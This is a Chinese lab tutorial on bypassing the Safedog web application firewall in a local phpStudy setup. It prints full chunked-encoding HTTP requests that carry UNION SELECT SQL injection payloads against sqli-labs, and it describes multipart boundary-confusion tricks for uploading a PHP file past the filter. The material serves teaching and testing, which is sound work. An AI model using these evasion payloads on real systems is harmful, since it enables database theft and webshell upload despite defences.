【渗透测试实战】--waf绕过--打狗棒法

admin 2023年3月3日18:26:25评论73 views字数 7981阅读26分36秒阅读模式

目录

0x01 前言  环境的搭建:0x02 HTTP补充:  分块传输的介绍:  请求头Transfer-encoding:  HTTP持久化连接:  Content-Type介绍:waf绕过的思路:  例如:绕过安全狗的sql注入:  以sql-labs为例:  读取数据库名  读取表名:  读列名:  读取数据:绕过安全狗的文件上传(以pikachu靶场为例  Content-Type中的boundary边界混淆绕过  深入研究boundary边界问题:  boundary边界问题fuzz:  boundary边界一致:  boundary结束标志不一致:  boundary开始标志不一致:  多个boundary:  多个boundary混淆:  发现:对于分块传输的小Tip:总结:

0x01 前言 某狗可谓是比较好绕过的waf,但是随着现在的发展,某狗也是越来越难绕过了,但是也不是毫无办法,争取这篇文章给正在学习waf绕过的小白来入门一种另类的waf绕过。某狗可谓是比较好绕...

0x01 前言

某狗可谓是比较好绕过的waf,但是随着现在的发展,某狗也是越来越难绕过了,但是也不是毫无办法,争取这篇文章给正在学习waf绕过的小白来入门一种另类的waf绕过。

某狗可谓是比较好绕过的waf,但是随着现在的发展,某狗也是越来越难绕过了,但是也不是毫无办法,争取这篇文章给正在学习waf绕过的小白来入门一种另类的waf绕过。

环境的搭建:

环境的搭建就选择phpstudy2018+安全狗最新版(2022年10月23日前)

Tip:
(1)记得先在phpstudy的Apache的bin目录下初始化Apache服务,一般来说,第一次为询问是否确认,第二次为确认安装(命令:httpd.exe -k install -n apache2.4 用管理员打开)
(2)上传防护中把完整的post包过滤勾选上。

0x02 HTTP补充:

分块传输的介绍:

分块传输编码是超文本传输协议(HTTP)中的一种数据传输机制,允许HTTP由应用服务器向客户端发送的数据分成多个部分,在消息头中指定 Transfer-Encoding: chunked 就表示整个response将使分块传输编译来传输内容。一个消息块由n块组成,并在最后一个大小为0的块结束。
【渗透测试实战】--waf绕过--打狗棒法

请求头Transfer-encoding:

官方文档:

告知接收方为了可靠地传输报文,已经对其进行了何种编码。

chunked编码,使用若干个chunk串连接而成,由一个标明长度为0的chunk表示解释,每个chunk分为头部和正文两部分,头部内容定义了下一行传输内容的个数(个数用16进制来进行表示)和数量(一般不写数量,但是为了混淆,这里还是把数量写上去)正文部分就是指定长度的实际内容。两部分之间用(CRLF)来隔开,在最后一个长度为0的chunk中表示结束。并且长度中是以;作为长度的结束

数据包中添加:Transfer-Encoding: chunked
数字代表下一行的字符所占位数,最后需要用0独占一行表示结束,结尾需要两个回车

当设置这个Transfer-Encoding请求头的时候,会有两个效果:

Content-length字段自动忽略
基于长久化持续推送动态内容(不太了解,但是第三感觉有研究内容)

【渗透测试实战】--waf绕过--打狗棒法

HTTP持久化连接:

因为现在大多数是http1.1协议版本,所以的话,只在Transfer-Encoding中定义了chunked一种编码格式。

持久化连接:
Http请求是运行在TCP连接上的,所以自然有TCP的三次握手和四次挥手,慢启动的问题,所以为了提高http的性能,就使用了持久化连接。持久化连接在《计算机网络》中有提及。

在Http1.1的版本中规定了所有连接默认都是持久化连接,除非在请求头上加上Connection:close。来关闭持久化连接。

Content-Type介绍:

Content-Type:互联网媒体类型, 也叫MIME类型,在HTTP的协议消息头中,使用Content-Type来表示请求和响应中的媒体数据格式标签,用于区分数据类型。
常见Content-Type的格式如下:

Content-Type: text/html;
Content-Type: application/json;charset:utf-8;
Content-Type:type/subtype ;parameter
Content-Type:application/x-www-form-urlencoded
Content-Type:multipart/form-data

重点介绍multipart/form-data:
当服务器使用multipart/form-data接收POST请求的时候,服务器如何知道开始位置和结束位置的呢???
其中就是用了boundary边界来进行操作的。
【渗透测试实战】--waf绕过--打狗棒法

waf绕过的思路:

正常传输的payload都是可以被waf的正则匹配到的,而进行分块传输之后的payload,waf的正则不会进行匹配,而又满足http的规则,所以就能绕过waf。
【渗透测试实战】--waf绕过--打狗棒法【渗透测试实战】--waf绕过--打狗棒法

例如:

正常传输过程中是这样的。
【渗透测试实战】--waf绕过--打狗棒法那么分块传输之后,就变成了这样。

POST /sqli-labs-master/Less-11/ HTTP/1.1
Host: 192.168.172.161
Content-Length: 128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.172.161
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.172.161/sqli-labs-master/Less-11/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Transfer-Encoding: chunked

4
unam
1
e
1
=
4
admi
1
n
1
&
4
pass
2
wd
1
=
4
admi
1
n
1
&
4
subm
2
it
1
=
4
Subm
2
it
0

【渗透测试实战】--waf绕过--打狗棒法

说明是可以识别分块传输的东西,那么我们就可以构造payload来看是否可以绕过waf。

绕过安全狗的sql注入:

这里先解决一下绕过安全狗的方式,在常见的方式中,我们都采用垃圾字符填充的方式来绕过安全狗,虽然效果很好,但是较为复杂,也容易出现被狗咬伤的情况,所以为了解决这一现状,小秦同学翻阅之后发现了分块传输的方式来绕过安全狗。但是分块传输目前来看只能适用于post请求。get请求还是比较难说。

以sql-labs为例:

在sqli-labs的第十一关,我们发现了可以用post请求。先正常看看过滤哪些字符,这里开门见山,直接把'union select (database()),2#。这个东西进行了过滤
【渗透测试实战】--waf绕过--打狗棒法
咱们可以尝试使用分块传输的方式来进行绕过。这里在请求头中添加。

Transfer-Encoding: chunked
这个东西,然后进行分块即可。

读取数据库名

POST /sqli-labs-master/Less-11/ HTTP/1.1
Host: 192.168.172.161
Content-Length: 251
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.172.161
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.172.161/sqli-labs-master/Less-11/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Transfer-Encoding: chunked

1
u
4
name
1
=
1
&
2
pa
4
sswd
1
=
3
%27
2
un
1
i
2
on
1
+
2
se
1
l
2
ec
1
t
1
+
3
%28
2
da
1
t
2
ab
1
a
2
se
3
%28
3
%29
3
%29
3
%2C
1
2
3
%23
1
&
3
sub
3
mit
1
=
3
Sub
3
mit
0

【渗透测试实战】--waf绕过--打狗棒法

读取表名:

POST /sqli-labs-master/Less-11/ HTTP/1.1
Host: 192.168.172.161
Content-Length: 619
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.172.161
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.172.161/sqli-labs-master/Less-11/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Transfer-Encoding: chunked

1
u
2
na
1
m
1
e
1
=
1
&
2
pa
2
ss
2
wd
1
=
3
%27
1
u
2
ni
1
o
1
n
1
+
2
se
2
le
1
c
1
t
1
+
3
%28
2
se
1
l
1
e
2
ct
1
+
2
gr
2
ou
1
p
1
_
2
co
2
nc
2
at
3
%28
2
ta
2
bl
1
e
1
_
2
na
2
me
3
%29
1
+
2
fr
2
om
1
+
2
in
2
fo
1
r
3
mat
2
io
1
n
1
_
2
sc
3
hem
1
a
1
.
2
ta
2
bl
2
es
1
+
2
wh
2
er
1
e
1
+
2
ta
2
bl
1
e
1
_
2
sc
2
he
1
m
1
a
3
%3D
2
da
1
t
2
ab
3
ase
3
%28
3
%29
3
%29
3
%2C
1
2
3
%23
1
&
2
su
3
bmi
1
t
1
=
2
Su
4
bmit
0

【渗透测试实战】--waf绕过--打狗棒法

读列名:

【渗透测试实战】--waf绕过--打狗棒法

读取数据:

【渗透测试实战】--waf绕过--打狗棒法

绕过安全狗的文件上传(以pikachu靶场为例

这里上面讲到了分块传输,这里直接先使用分块传输来进行绕过。这里讲下计算方式,因为文件上传不像sql注入那样单行,所以文件上传是会有回车和空格的计算,(一个回车和一个空格占两个字符)。例如下图:
【渗透测试实战】--waf绕过--打狗棒法
红框中的部分,分别处于不同的行,所以需要传入回车,所以这部分就应该是:
【渗透测试实战】--waf绕过--打狗棒法
这块先去上传php文件为例,可以进行分块传输的构造。然后上传。
【渗透测试实战】--waf绕过--打狗棒法
发现单单的分块传输已经不能绕过安全狗文件上传的检测了。
【渗透测试实战】--waf绕过--打狗棒法

Content-Type中的boundary边界混淆绕过

因为上面讲到了Content-Type类型,那么对于我们来说,文件上传一定是利用了Content-Type中的multipart/form-data来进行的文件上传操作,刚才讲到了利用multipart/form-data必须用boundary边界来进行限制,那么我们这里研究一下boundary边界的一些问题。

深入研究boundary边界问题:

【渗透测试实战】--waf绕过--打狗棒法这里拿上面的边界来做文章,这里看到了,当上面定义了boundary=----WFJAFAOKAJNFKLAJ的时候我想到了两个问题。

1.如果有两个boundary是取前一个还是后一个?
2.boundary结束标志必须和定义的一定相同嘛?

下面继续一一测试

boundary边界问题fuzz:

boundary边界一致:

【渗透测试实战】--waf绕过--打狗棒法

boundary结束标志不一致:

【渗透测试实战】--waf绕过--打狗棒法

boundary开始标志不一致:

【渗透测试实战】--waf绕过--打狗棒法
上面经过研究可以发现boundary结束标志不影响判断。

多个boundary:

【渗透测试实战】--waf绕过--打狗棒法
【渗透测试实战】--waf绕过--打狗棒法

所以当定义两个boundary的时候,只有第一个起作用。经过了上面的测试发现,我们可以通过构造多个boundary和修改boundary结束标志来达到混淆的效果,这里进行测试。

多个boundary混淆:

【渗透测试实战】--waf绕过--打狗棒法这里进入uploads/1.php查看

【渗透测试实战】--waf绕过--打狗棒法
成功绕过waf。

发现:

这里发现,其他不用非得加boundary混淆,测到boundary后面加分号就直接可以绕过安全狗来上传成功。
【渗透测试实战】--waf绕过--打狗棒法

对于分块传输的小Tip:

(1)分块传输的每个长度以;结尾,所以可以构造1;fjaojafjao这种来干扰waf
(2)分块传输的时候是不会管Content-Length的长度,所以可以通过Content-Length的长度变换来绕过某些waf
(3)分块传输只是适用于post请求,这也是存在的弊端问题

总结:

绕过waf的方式多种多样,但是越简单的方式越需要底层的探索,所以底层的学习是非常必要的。希望给正在学习绕waf的小伙伴提供一些思路。而不仅限于垃圾字符填充。

参考文献:

https://zhuanlan.zhihu.com/p/465948117
http://t.zoukankan.com/liujizhou-p-11802189.html
https://copyfuture.com/blogs-details/202203261638435585


用户773616194奇安信攻防社区https://forum.butian.net/share/1982

【Hacking黑白红】,一线渗透攻防实战交流公众号

【渗透测试实战】--waf绕过--打狗棒法

回复“电子书”获取web渗透、CTF电子书:

回复“视频教程”获取渗透测试视频教程;  

回复“内网书籍”获取内网学习书籍;        

回复“CTF工具”获取渗透、CTF全套工具;

回复“内网渗透;获取内网渗透资料;

回复护网;获取护网学习资料 ;

回复python,获取python视频教程;

回复java,获取Java视频教程;

回复go,获取go视频教程


知识星球




【Hacking藏经阁】知识星球致力于分享技术认知

1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;

400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)

2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。


如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。







【渗透测试实战】--waf绕过--打狗棒法


欢迎加入99米/年,平均每天2毛7分钱,学习网络安全一整年。


【渗透测试实战】--waf绕过--打狗棒法






渗透实战系列



【渗透实战系列】51|- 一次BC站点的GetShell过程

【渗透实战系列】50|- Log4j打点后与管理员斗智斗勇

【渗透实战系列】49|-实战某高校的一次挖矿病毒的应急处置

【渗透实战系列】|48-一次内网渗透

渗透实战系列】|47-记一次对某鱼骗子卖家的溯源

【渗透实战系列】|46-渗透测试:从Web到内网

【渗透实战系列】|45-记一次渗透实战-代码审计到getshell

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

【渗透实战系列】|43-某次通用型漏洞挖掘思路分享

【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战

【渗透实战系列】|41-记一次色*情app渗透测试

【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)

▶【渗透实战系列】|39-BC渗透的常见切入点(总结)

【渗透实战系列】|38-对某色情直播渗透

【渗透实战系列】|37-6年级小学生把学校的网站给搞了!

【渗透实战系列】|36-一次bc推广渗透实战

【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透

【渗透实战系列】|34-如何用渗透思路分析网贷诈骗链

【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP

【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站

【渗透实战系列】|31-记一次对学校的渗透测试

【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)

【渗透实战系列】|29-实战|对某勒索APP的Getshell

【渗透实战系列】|28-我是如何拿下BC站的服务器

【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)

【渗透实战系列】|26一记某cms审计过程(步骤详细)

【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程

【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法

【渗透实战系列】|23-某菠菜网站渗透实战

【渗透实战系列】|22-渗透系列之打击彩票站

【渗透实战系列】|21一次理财杀猪盘渗透测试案例

【渗透实战系列】|20-渗透直播网站

【渗透实战系列】|19-杀猪盘渗透测试

【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)

【渗透实战系列】|17-巧用fofa对目标网站进行getshell

【渗透实战系列】|16-裸聊APP渗透测试

【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点

【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试

【渗透实战系列】|13-waf绕过拿下赌博网站

【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局

【渗透实战系列】|11 - 赌博站人人得而诛之

【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)

【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)

【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)

【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例

【渗透实战系列】|6- BC杀猪盘渗透一条龙

【渗透实战系列】|5-记一次内衣网站渗透测试

【渗透实战系列】|4-看我如何拿下BC站的服务器

【渗透实战系列】|3-一次简单的渗透

【渗透实战系列】|2-记一次后门爆破到提权实战案例

【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

【渗透测试实战】--waf绕过--打狗棒法

    

长按-识别-关注

【渗透测试实战】--waf绕过--打狗棒法

Hacking黑白红

一个专注信息安全技术的学习平台

【渗透测试实战】--waf绕过--打狗棒法

点分享

【渗透测试实战】--waf绕过--打狗棒法

点收藏

【渗透测试实战】--waf绕过--打狗棒法

点点赞

【渗透测试实战】--waf绕过--打狗棒法

点在看

原文始发于微信公众号(Hacking黑白红):【渗透测试实战】--waf绕过--打狗棒法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月3日18:26:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透测试实战】--waf绕过--打狗棒法http://cn-sec.com/archives/1584508.html

发表评论

匿名网友 填写信息